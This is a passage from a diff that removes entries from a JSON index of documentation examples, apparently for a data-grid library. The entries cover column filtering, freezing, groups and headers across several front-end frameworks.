"guides__columns__column-filter__javascript__exampleSearchMode.js.json", - "breadcrumb": [ - "Columns", - "Column filter" - ], - "guide": "guides/columns/column-filter/column-filter.md", - "guideTitle": "Column filter", - "exampleId": "exampleSearchMode", - "exampleTitle": "Enable filtering within already filtered results", - "docPermalink": "/column-filter", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/columns/column-filter/react/exampleSearchMode.tsx", - "file": "guides__columns__column-filter__react__exampleSearchMode.tsx.json", - "breadcrumb": [ - "Columns", - "Column filter" - ], - "guide": "guides/columns/column-filter/column-filter.md", - "guideTitle": "Column filter", - "exampleId": "exampleSearchMode", - "exampleTitle": "Enable filtering within already filtered results", - "docPermalink": "/column-filter", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/columns/column-filter/javascript/exampleSearchMode.ts", - "file": "guides__columns__column-filter__javascript__exampleSearchMode.ts.json", - "breadcrumb": [ - "Columns", - "Column filter" - ], - "guide": "guides/columns/column-filter/column-filter.md", - "guideTitle": "Column filter", - "exampleId": "exampleSearchMode", - "exampleTitle": "Enable filtering within already filtered results", - "docPermalink": "/column-filter", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/columns/column-filter/vue/exampleSearchMode.vue", - "file": "guides__columns__column-filter__vue__exampleSearchMode.vue.json", - "breadcrumb": [ - "Columns", - "Column filter" - ], - "guide": "guides/columns/column-filter/column-filter.md", - "guideTitle": "Column filter", - "exampleId": "exampleSearchMode", - "exampleTitle": "Enable filtering within already filtered results", - "docPermalink": "/column-filter", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/columns/column-filter/javascript/exampleServerSideFilter.js", - "file": "guides__columns__column-filter__javascript__exampleServerSideFilter.js.json", - "breadcrumb": [ - "Columns", - "Column filter" - ], - "guide": "guides/columns/column-filter/column-filter.md", - "guideTitle": "Column filter", - "exampleId": "exampleServerSideFilter", - "exampleTitle": "Server-side filtering", - "docPermalink": "/column-filter", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/columns/column-filter/react/exampleServerSideFilter.tsx", - "file": "guides__columns__column-filter__react__exampleServerSideFilter.tsx.json", - "breadcrumb": [ - "Columns", - "Column filter" - ], - "guide": "guides/columns/column-filter/column-filter.md", - "guideTitle": "Column filter", - "exampleId": "exampleServerSideFilter", - "exampleTitle": "Server-side filtering", - "docPermalink": "/column-filter", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/columns/column-filter/javascript/exampleServerSideFilter.ts", - "file": "guides__columns__column-filter__javascript__exampleServerSideFilter.ts.json", - "breadcrumb": [ - "Columns", - "Column filter" - ], - "guide": "guides/columns/column-filter/column-filter.md", - "guideTitle": "Column filter", - "exampleId": "exampleServerSideFilter", - "exampleTitle": "Server-side filtering", - "docPermalink": "/column-filter", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/columns/column-filter/vue/exampleServerSideFilter.vue", - "file": "guides__columns__column-filter__vue__exampleServerSideFilter.vue.json", - "breadcrumb": [ - "Columns", - "Column filter" - ], - "guide": "guides/columns/column-filter/column-filter.md", - "guideTitle": "Column filter", - "exampleId": "exampleServerSideFilter", - "exampleTitle": "Server-side filtering", - "docPermalink": "/column-filter", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/columns/column-filter/javascript/exampleShowFilterItemsOnly.js", - "file": "guides__columns__column-filter__javascript__exampleShowFilterItemsOnly.js.json", - "breadcrumb": [ - "Columns", - "Column filter" - ], - "guide": "guides/columns/column-filter/column-filter.md", - "guideTitle": "Column filter", - "exampleId": "exampleShowFilterItemsOnly", - "exampleTitle": "Enable filtering", - "docPermalink": "/column-filter", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/columns/column-filter/react/exampleShowFilterItemsOnly.tsx", - "file": "guides__columns__column-filter__react__exampleShowFilterItemsOnly.tsx.json", - "breadcrumb": [ - "Columns", - "Column filter" - ], - "guide": "guides/columns/column-filter/column-filter.md", - "guideTitle": "Column filter", - "exampleId": "exampleShowFilterItemsOnly", - "exampleTitle": "Enable filtering", - "docPermalink": "/column-filter", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/columns/column-filter/javascript/exampleShowFilterItemsOnly.ts", - "file": "guides__columns__column-filter__javascript__exampleShowFilterItemsOnly.ts.json", - "breadcrumb": [ - "Columns", - "Column filter" - ], - "guide": "guides/columns/column-filter/column-filter.md", - "guideTitle": "Column filter", - "exampleId": "exampleShowFilterItemsOnly", - "exampleTitle": "Enable filtering", - "docPermalink": "/column-filter", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/columns/column-filter/vue/exampleShowFilterItemsOnly.vue", - "file": "guides__columns__column-filter__vue__exampleShowFilterItemsOnly.vue.json", - "breadcrumb": [ - "Columns", - "Column filter" - ], - "guide": "guides/columns/column-filter/column-filter.md", - "guideTitle": "Column filter", - "exampleId": "exampleShowFilterItemsOnly", - "exampleTitle": "Enable filtering", - "docPermalink": "/column-filter", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/columns/column-freezing/angular/example1.ts", - "file": "guides__columns__column-freezing__angular__example1.ts.json", - "breadcrumb": [ - "Columns", - "Column freezing" - ], - "guide": "guides/columns/column-freezing/column-freezing.md", - "guideTitle": "Column freezing", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/column-freezing", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/columns/column-freezing/javascript/example1.js", - "file": "guides__columns__column-freezing__javascript__example1.js.json", - "breadcrumb": [ - "Columns", - "Column freezing" - ], - "guide": "guides/columns/column-freezing/column-freezing.md", - "guideTitle": "Column freezing", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/column-freezing", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/columns/column-freezing/react/example1.tsx", - "file": "guides__columns__column-freezing__react__example1.tsx.json", - "breadcrumb": [ - "Columns", - "Column freezing" - ], - "guide": "guides/columns/column-freezing/column-freezing.md", - "guideTitle": "Column freezing", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/column-freezing", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/columns/column-freezing/javascript/example1.ts", - "file": "guides__columns__column-freezing__javascript__example1.ts.json", - "breadcrumb": [ - "Columns", - "Column freezing" - ], - "guide": "guides/columns/column-freezing/column-freezing.md", - "guideTitle": "Column freezing", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/column-freezing", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/columns/column-freezing/vue/example1.vue", - "file": "guides__columns__column-freezing__vue__example1.vue.json", - "breadcrumb": [ - "Columns", - "Column freezing" - ], - "guide": "guides/columns/column-freezing/column-freezing.md", - "guideTitle": "Column freezing", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/column-freezing", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/columns/column-freezing/angular/example2.ts", - "file": "guides__columns__column-freezing__angular__example2.ts.json", - "breadcrumb": [ - "Columns", - "Column freezing" - ], - "guide": "guides/columns/column-freezing/column-freezing.md", - "guideTitle": "Column freezing", - "exampleId": "example2", - "exampleTitle": "User-triggered freeze", - "docPermalink": "/column-freezing", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/columns/column-freezing/javascript/example2.js", - "file": "guides__columns__column-freezing__javascript__example2.js.json", - "breadcrumb": [ - "Columns", - "Column freezing" - ], - "guide": "guides/columns/column-freezing/column-freezing.md", - "guideTitle": "Column freezing", - "exampleId": "example2", - "exampleTitle": "User-triggered freeze", - "docPermalink": "/column-freezing", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/columns/column-freezing/react/example2.tsx", - "file": "guides__columns__column-freezing__react__example2.tsx.json", - "breadcrumb": [ - "Columns", - "Column freezing" - ], - "guide": "guides/columns/column-freezing/column-freezing.md", - "guideTitle": "Column freezing", - "exampleId": "example2", - "exampleTitle": "User-triggered freeze", - "docPermalink": "/column-freezing", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/columns/column-freezing/javascript/example2.ts", - "file": "guides__columns__column-freezing__javascript__example2.ts.json", - "breadcrumb": [ - "Columns", - "Column freezing" - ], - "guide": "guides/columns/column-freezing/column-freezing.md", - "guideTitle": "Column freezing", - "exampleId": "example2", - "exampleTitle": "User-triggered freeze", - "docPermalink": "/column-freezing", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/columns/column-freezing/vue/example2.vue", - "file": "guides__columns__column-freezing__vue__example2.vue.json", - "breadcrumb": [ - "Columns", - "Column freezing" - ], - "guide": "guides/columns/column-freezing/column-freezing.md", - "guideTitle": "Column freezing", - "exampleId": "example2", - "exampleTitle": "User-triggered freeze", - "docPermalink": "/column-freezing", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/columns/column-groups/angular/example1.ts", - "file": "guides__columns__column-groups__angular__example1.ts.json", - "breadcrumb": [ - "Columns", - "Column groups" - ], - "guide": "guides/columns/column-groups/column-groups.md", - "guideTitle": "Column groups", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/column-groups", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/columns/column-groups/javascript/example1.js", - "file": "guides__columns__column-groups__javascript__example1.js.json", - "breadcrumb": [ - "Columns", - "Column groups" - ], - "guide": "guides/columns/column-groups/column-groups.md", - "guideTitle": "Column groups", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/column-groups", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/columns/column-groups/react/example1.tsx", - "file": "guides__columns__column-groups__react__example1.tsx.json", - "breadcrumb": [ - "Columns", - "Column groups" - ], - "guide": "guides/columns/column-groups/column-groups.md", - "guideTitle": "Column groups", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/column-groups", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/columns/column-groups/javascript/example1.ts", - "file": "guides__columns__column-groups__javascript__example1.ts.json", - "breadcrumb": [ - "Columns", - "Column groups" - ], - "guide": "guides/columns/column-groups/column-groups.md", - "guideTitle": "Column groups", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/column-groups", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/columns/column-groups/vue/example1.vue", - "file": "guides__columns__column-groups__vue__example1.vue.json", - "breadcrumb": [ - "Columns", - "Column groups" - ], - "guide": "guides/columns/column-groups/column-groups.md", - "guideTitle": "Column groups", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/column-groups", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/columns/column-groups/angular/example2.ts", - "file": "guides__columns__column-groups__angular__example2.ts.json", - "breadcrumb": [ - "Columns", - "Column groups" - ], - "guide": "guides/columns/column-groups/column-groups.md", - "guideTitle": "Column groups", - "exampleId": "example2", - "exampleTitle": "Example", - "docPermalink": "/column-groups", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/columns/column-groups/javascript/example2.js", - "file": "guides__columns__column-groups__javascript__example2.js.json", - "breadcrumb": [ - "Columns", - "Column groups" - ], - "guide": "guides/columns/column-groups/column-groups.md", - "guideTitle": "Column groups", - "exampleId": "example2", - "exampleTitle": "Example", - "docPermalink": "/column-groups", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/columns/column-groups/react/example2.tsx", - "file": "guides__columns__column-groups__react__example2.tsx.json", - "breadcrumb": [ - "Columns", - "Column groups" - ], - "guide": "guides/columns/column-groups/column-groups.md", - "guideTitle": "Column groups", - "exampleId": "example2", - "exampleTitle": "Example", - "docPermalink": "/column-groups", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/columns/column-groups/javascript/example2.ts", - "file": "guides__columns__column-groups__javascript__example2.ts.json", - "breadcrumb": [ - "Columns", - "Column groups" - ], - "guide": "guides/columns/column-groups/column-groups.md", - "guideTitle": "Column groups", - "exampleId": "example2", - "exampleTitle": "Example", - "docPermalink": "/column-groups", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/columns/column-groups/vue/example2.vue", - "file": "guides__columns__column-groups__vue__example2.vue.json", - "breadcrumb": [ - "Columns", - "Column groups" - ], - "guide": "guides/columns/column-groups/column-groups.md", - "guideTitle": "Column groups", - "exampleId": "example2", - "exampleTitle": "Example", - "docPermalink": "/column-groups", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/columns/column-groups/angular/example3.ts", - "file": "guides__columns__column-groups__angular__example3.ts.json", - "breadcrumb": [ - "Columns", - "Column groups" - ], - "guide": "guides/columns/column-groups/column-groups.md", - "guideTitle": "Column groups", - "exampleId": "example3", - "exampleTitle": "Choose which columns stay visible when collapsed", - "docPermalink": "/column-groups", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/columns/column-groups/javascript/example3.js", - "file": "guides__columns__column-groups__javascript__example3.js.json", - "breadcrumb": [ - "Columns", - "Column groups" - ], - "guide": "guides/columns/column-groups/column-groups.md", - "guideTitle": "Column groups", - "exampleId": "example3", - "exampleTitle": "Choose which columns stay visible when collapsed", - "docPermalink": "/column-groups", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/columns/column-groups/react/example3.tsx", - "file": "guides__columns__column-groups__react__example3.tsx.json", - "breadcrumb": [ - "Columns", - "Column groups" - ], - "guide": "guides/columns/column-groups/column-groups.md", - "guideTitle": "Column groups", - "exampleId": "example3", - "exampleTitle": "Choose which columns stay visible when collapsed", - "docPermalink": "/column-groups", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/columns/column-groups/javascript/example3.ts", - "file": "guides__columns__column-groups__javascript__example3.ts.json", - "breadcrumb": [ - "Columns", - "Column groups" - ], - "guide": "guides/columns/column-groups/column-groups.md", - "guideTitle": "Column groups", - "exampleId": "example3", - "exampleTitle": "Choose which columns stay visible when collapsed", - "docPermalink": "/column-groups", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/columns/column-groups/vue/example3.vue", - "file": "guides__columns__column-groups__vue__example3.vue.json", - "breadcrumb": [ - "Columns", - "Column groups" - ], - "guide": "guides/columns/column-groups/column-groups.md", - "guideTitle": "Column groups", - "exampleId": "example3", - "exampleTitle": "Choose which columns stay visible when collapsed", - "docPermalink": "/column-groups", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/columns/column-groups/angular/example4.ts", - "file": "guides__columns__column-groups__angular__example4.ts.json", - "breadcrumb": [ - "Columns", - "Column groups" - ], - "guide": "guides/columns/column-groups/column-groups.md", - "guideTitle": "Column groups", - "exampleId": "example4", - "exampleTitle": "Keep a group cohesive or let it split", - "docPermalink": "/column-groups", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/columns/column-groups/javascript/example4.js", - "file": "guides__columns__column-groups__javascript__example4.js.json", - "breadcrumb": [ - "Columns", - "Column groups" - ], - "guide": "guides/columns/column-groups/column-groups.md", - "guideTitle": "Column groups", - "exampleId": "example4", - "exampleTitle": "Keep a group cohesive or let it split", - "docPermalink": "/column-groups", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/columns/column-groups/react/example4.tsx", - "file": "guides__columns__column-groups__react__example4.tsx.json", - "breadcrumb": [ - "Columns", - "Column groups" - ], - "guide": "guides/columns/column-groups/column-groups.md", - "guideTitle": "Column groups", - "exampleId": "example4", - "exampleTitle": "Keep a group cohesive or let it split", - "docPermalink": "/column-groups", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/columns/column-groups/javascript/example4.ts", - "file": "guides__columns__column-groups__javascript__example4.ts.json", - "breadcrumb": [ - "Columns", - "Column groups" - ], - "guide": "guides/columns/column-groups/column-groups.md", - "guideTitle": "Column groups", - "exampleId": "example4", - "exampleTitle": "Keep a group cohesive or let it split", - "docPermalink": "/column-groups", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/columns/column-groups/vue/example4.vue", - "file": "guides__columns__column-groups__vue__example4.vue.json", - "breadcrumb": [ - "Columns", - "Column groups" - ], - "guide": "guides/columns/column-groups/column-groups.md", - "guideTitle": "Column groups", - "exampleId": "example4", - "exampleTitle": "Keep a group cohesive or let it split", - "docPermalink": "/column-groups", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/columns/column-header/angular/example1.ts", - "file": "guides__columns__column-header__angular__example1.ts.json", - "breadcrumb": [ - "Columns", - "Column headers" - ], - "guide": "guides/columns/column-header/column-header.md", - "guideTitle": "Column headers", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/column-header", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/columns/column-header/javascript/example1.js", - "file": "guides__columns__column-header__javascript__example1.js.json", - "breadcrumb": [ - "Columns", - "Column headers" - ], - "guide": "guides/columns/column-header/column-header.md", - "guideTitle": "Column headers", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/column-header", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/columns/column-header/react/example1.tsx", - "file": "guides__columns__column-header__react__example1.tsx.json", - "breadcrumb": [ - "Columns", - "Column headers" - ], - "guide": "guides/columns/column-header/column-header.md", - "guideTitle": "Column headers", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/column-header", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/columns/column-header/javascript/example1.ts", - "file": "guides__columns__column-header__javascript__example1.ts.json", - "breadcrumb": [ - "Columns", - "Column headers" - ], - "guide": "guides/columns/column-header/column-header.md", - "guideTitle": "Column headers", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/column-header", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/columns/column-header/vue/example1.vue", - "file": "guides__columns__column-header__vue__example1.vue.json", - "breadcrumb": [ - "Columns", - "Column headers" - ], - "guide": "guides/columns/column-header/column-header.md", - "guideTitle": "Column headers", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/column-header", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/columns/column-header/angular/example2.ts", - "file": "guides__columns__column-header__angular__example2.ts.json", - "breadcrumb": [ - "Columns", - "Column headers" - ], - "guide": "guides/columns/column-header/column-header.md", - "guideTitle": "Column headers", - "exampleId": "example2", - "exampleTitle": "Header labels as an array", - "docPermalink": "/column-header", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/columns/column-header/javascript/example2.js", - "file": "guides__columns__column-header__javascript__example2.js.json", - "breadcrumb": [ - "Columns", - "Column headers" - ], - "guide": "guides/columns/column-header/column-header.md", - "guideTitle": "Column headers", - "exampleId": "example2", - "exampleTitle": "Header labels as an array", - "docPermalink": "/column-header", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/columns/column-header/react/example2.tsx", - "file": "guides__columns__column-header__react__example2.tsx.json", - "breadcrumb": [ - "Columns", - "Column headers" - ], - "guide": "guides/columns/column-header/column-header.md", - "guideTitle": "Column headers", - "exampleId": "example2", - "exampleTitle": "Header labels as an array", - "docPermalink": "/column-header", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/columns/column-header/javascript/example2.ts", - "file": "guides__columns__column-header__javascript__example2.ts.json", - "breadcrumb": [ - "Columns", - "Column headers" - ], - "guide": "guides/columns/column-header/column-header.md", - "guideTitle": "Column headers", - "exampleId": "example2", - "exampleTitle": "Header labels as an array", - "docPermalink": "/column-header", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/columns/column-header/vue/example2.vue", - "file": "guides__columns__column-header__vue__example2.vue.json", - "breadcrumb": [ - "Columns", - "Column headers" - ], - "guide": "guides/columns/column-header/column-header.md", - "guideTitle": "Column headers", - "exampleId": "example2", - "exampleTitle": "Header labels as an array", - "docPermalink": "/column-header", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/columns/column-header/angular/example3.ts", - "file": "guides__columns__column-header__angular__example3.ts.json", - "breadcrumb": [ - "Columns", - "Column headers" - ], - "guide": "guides/columns/column-header/column-header.md", - "guideTitle": "Column headers", - "exampleId": "example3", - "exampleTitle": "Header labels as a function", - "docPermalink": "/column-header", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/columns/column-header/javascript/example3.js", - "file": "guides__columns__column-header__javascript__example3.js.json", - "breadcrumb": [ - "Columns", - "Column headers" - ], - "guide": "guides/columns/column-header/column-header.md", - "guideTitle": "Column headers", - "exampleId": "example3", - "exampleTitle": "Header labels as a function", - "docPermalink": "/column-header", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/columns/column-header/react/example3.tsx", - "file": "guides__columns__column-header__react__example3.tsx.json", - "breadcrumb": [ - "Columns", - "Column headers" - ], - "guide": "guides/columns/column-header/column-header.md", - "guideTitle": "Column headers", - "exampleId": "example3", - "exampleTitle": "Header labels as a function", - "docPermalink": "/column-header", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/columns/column-header/javascript/example3.ts", - "file": "guides__columns__column-header__javascript__example3.ts.json", - "breadcrumb": [ - "Columns", - "Column headers" - ], - "guide": "guides/columns/column-header/column-header.md", - "guideTitle": "Column headers", - "exampleId": "example3", - "exampleTitle": "Header labels as a function", - "docPermalink": "/column-header", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/columns/column-header/vue/example3.vue", - "file": "guides__columns__column-header__vue__example3.vue.json", - "breadcrumb": [ - "Columns", - "Column headers" - ], - "guide": "guides/columns/column-header/column-header.md", - "guideTitle": "Column headers", - "exampleId": "example3", - "exampleTitle": "Header labels as a function", - "docPermalink": "/column-header", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/columns/column-header/angular/example4.ts", - "file": "guides__columns__column-header__angular__example4.ts.json", - "breadcrumb": [ - "Columns", - "Column headers" - ], - "guide": "guides/columns/column-header/column-header.md", - "guideTitle": "Column headers", - "exampleId": "example4", - "exampleTitle": "Customize column headers", - "docPermalink": "/column-header", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/columns/column-header/javascript/example4.js", - "file": "guides__columns__column-header__javascript__example4.js.json", - "breadcrumb": [ - "Columns", - "Column headers" - ], - "guide": "guides/columns/column-header/column-header.md", - "guideTitle": "Column headers", - "exampleId": "example4", - "exampleTitle": "Customize column headers", - "docPermalink": "/column-header", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/columns/column-header/react/example4.tsx", - "file": "guides__columns__column-header__react__example4.tsx.json", - "breadcrumb": [ - "Columns", - "Column headers" - ], - "guide": "guides/columns/column-header/column-header.md", - "guideTitle": "Column headers", - "exampleId": "example4", - "exampleTitle": "Customize column headers", - "docPermalink": "/column-header", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/columns/column-header/javascript/example4.ts", - "file": "guides__columns__column-header__javascript__example4.ts.json", - "breadcrumb": [ - "Columns", - "Column headers" - ], - "guide": "guides/columns/column-header/column-header.md", - "guideTitle": "Column headers", - "exampleId": "example4", - "exampleTitle": "Customize column headers", - "docPermalink": "/column-header", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/columns/column-header/vue/example4.vue", - "file": "guides__columns__column-header__vue__example4.vue.json", - "breadcrumb": [ - "Columns", - "Column headers" - ], - "guide": "guides/columns/column-header/column-header.md", - "guideTitle": "Column headers", - "exampleId": "example4", - "exampleTitle": "Customize column headers", - "docPermalink": "/column-header", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/columns/column-header/angular/example5.ts", - "file": "guides__columns__column-header__angular__example5.ts.json", - "breadcrumb": [ - "Columns", - "Column headers" - ], - "guide": "guides/columns/column-header/column-header.md", - "guideTitle": "Column headers", - "exampleId": "example5", - "exampleTitle": "Customize column headers (2)", - "docPermalink": "/column-header", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/columns/column-header/javascript/example5.js", - "file": "guides__columns__column-header__javascript__example5.js.json", - "breadcrumb": [ - "Columns", - "Column headers" - ], - "guide": "guides/columns/column-header/column-header.md", - "guideTitle": "Column headers", - "exampleId": "example5", - "exampleTitle": "Customize column headers (2)", - "docPermalink": "/column-header", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/columns/column-header/react/example5.tsx", - "file": "guides__columns__column-header__react__example5.tsx.json", - "breadcrumb": [ - "Columns", - "Column headers" - ], - "guide": "guides/columns/column-header/column-header.md", - "guideTitle": "Column headers", - "exampleId": "example5", - "exampleTitle": "Customize column headers (2)", - "docPermalink": "/column-header", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/columns/column-header/javascript/example5.ts", - "file": "guides__columns__column-header__javascript__example5.ts.json", - "breadcrumb": [ - "Columns", - "Column headers" - ], - "guide": "guides/columns/column-header/column-header.md", - "guideTitle": "Column headers", - "exampleId": "example5", - "exampleTitle": "Customize column headers (2)", - "docPermalink": "/column-header", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/columns/column-header/vue/example5.vue", - "file": "guides__columns__column-header__vue__example5.vue.json", - "breadcrumb": [ - "Columns", - "Column headers" - ], - "guide": "guides/columns/column-header/column-header.md", - "guideTitle": "Column headers", - "exampleId": "example5", - "exampleTitle": "Customize column headers (2)", - "docPermalink": "/column-header", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/columns/column-header/angular/example6.ts", - "file": "guides__columns__column-header__angular__example6.ts.json", - "breadcrumb": [ - "Columns", - "Column headers" - ], - "guide": "guides/columns/column-header/column-header.md", - "guideTitle": "Column headers", - "exampleId": "example6", - "exampleTitle": "Header labels in the columns option", - "docPermalink": "/column-header", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/columns/column-header/javascript/example6.js", - "file": "guides__columns__column-header__javascript__example6.js.json", - "breadcrumb": [ - "Columns", - "Column headers" - ], - "guide": "guides/columns/column-header/column-header.md", - "guideTitle": "Column headers", - "exampleId": "example6", - "exampleTitle": "Header labels in the columns option", - "docPermalink": "/column-header", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/columns/column-header/react/example6.tsx", - "file": "guides__columns__column-header__react__example6.tsx.json", - "breadcrumb": [ - "Columns", - "Column headers" - ], - "guide": "guides/columns/column-header/column-header.md", - "guideTitle": "Column headers", - "exampleId": "example6", - "exampleTitle": "Header labels in the columns option", - "docPermalink": "/column-header", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/columns/column-header/javascript/example6.ts", - "file": "guides__columns__column-header__javascript__example6.ts.json", - "breadcrumb": [ - "Columns", - "Column headers" - ], - "guide": "guides/columns/column-header/column-header.md", - "guideTitle": "Column headers", - "exampleId": "example6", - "exampleTitle": "Header labels in the columns option", - "docPermalink": "/column-header", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/columns/column-header/vue/example6.vue", - "file": "guides__columns__column-header__vue__example6.vue.json", - "breadcrumb": [ - "Columns", - "Column headers" - ], - "guide": "guides/columns/column-header/column-header.md", - "guideTitle": "Column headers", - "exampleId": "example6", - "exampleTitle": "Header labels in the columns option", - "docPermalink": "/column-header", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/columns/column-header/angular/example7.ts", - "file": "guides__columns__column-header__angular__example7.ts.json", - "breadcrumb": [ - "Columns", - "Column headers" - ], - "guide": "guides/columns/column-header/column-header.md", - "guideTitle": "Column headers", - "exampleId": "example7", - "exampleTitle": "Column header height", - "docPermalink": "/column-header", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/columns/column-header/javascript/example7.js", - "file": "guides__columns__column-header__javascript__example7.js.json", - "breadcrumb": [ - "Columns", - "Column headers" - ], - "guide": "guides/columns/column-header/column-header.md", - "guideTitle": "Column headers", - "exampleId": "example7", - "exampleTitle": "Column header height", - "docPermalink": "/column-header", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/columns/column-header/react/example7.tsx", - "file": "guides__columns__column-header__react__example7.tsx.json", - "breadcrumb": [ - "Columns", - "Column headers" - ], - "guide": "guides/columns/column-header/column-header.md", - "guideTitle": "Column headers", - "exampleId": "example7", - "exampleTitle": "Column header height", - "docPermalink": "/column-header", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/columns/column-header/javascript/example7.ts", - "file": "guides__columns__column-header__javascript__example7.ts.json", - "breadcrumb": [ - "Columns", - "Column headers" - ], - "guide": "guides/columns/column-header/column-header.md", - "guideTitle": "Column headers", - "exampleId": "example7", - "exampleTitle": "Column header height", - "docPermalink": "/column-header", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/columns/column-header/vue/example7.vue", - "file": "guides__columns__column-header__vue__example7.vue.json", - "breadcrumb": [ - "Columns", - "Column headers" - ], - "guide": "guides/columns/column-header/column-header.md", - "guideTitle": "Column headers", - "exampleId": "example7", - "exampleTitle": "Column header height", - "docPermalink": "/column-header", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/columns/column-hiding/angular/example1.ts", - "file": "guides__columns__column-hiding__angular__example1.ts.json", - "breadcrumb": [ - "Columns", - "Column 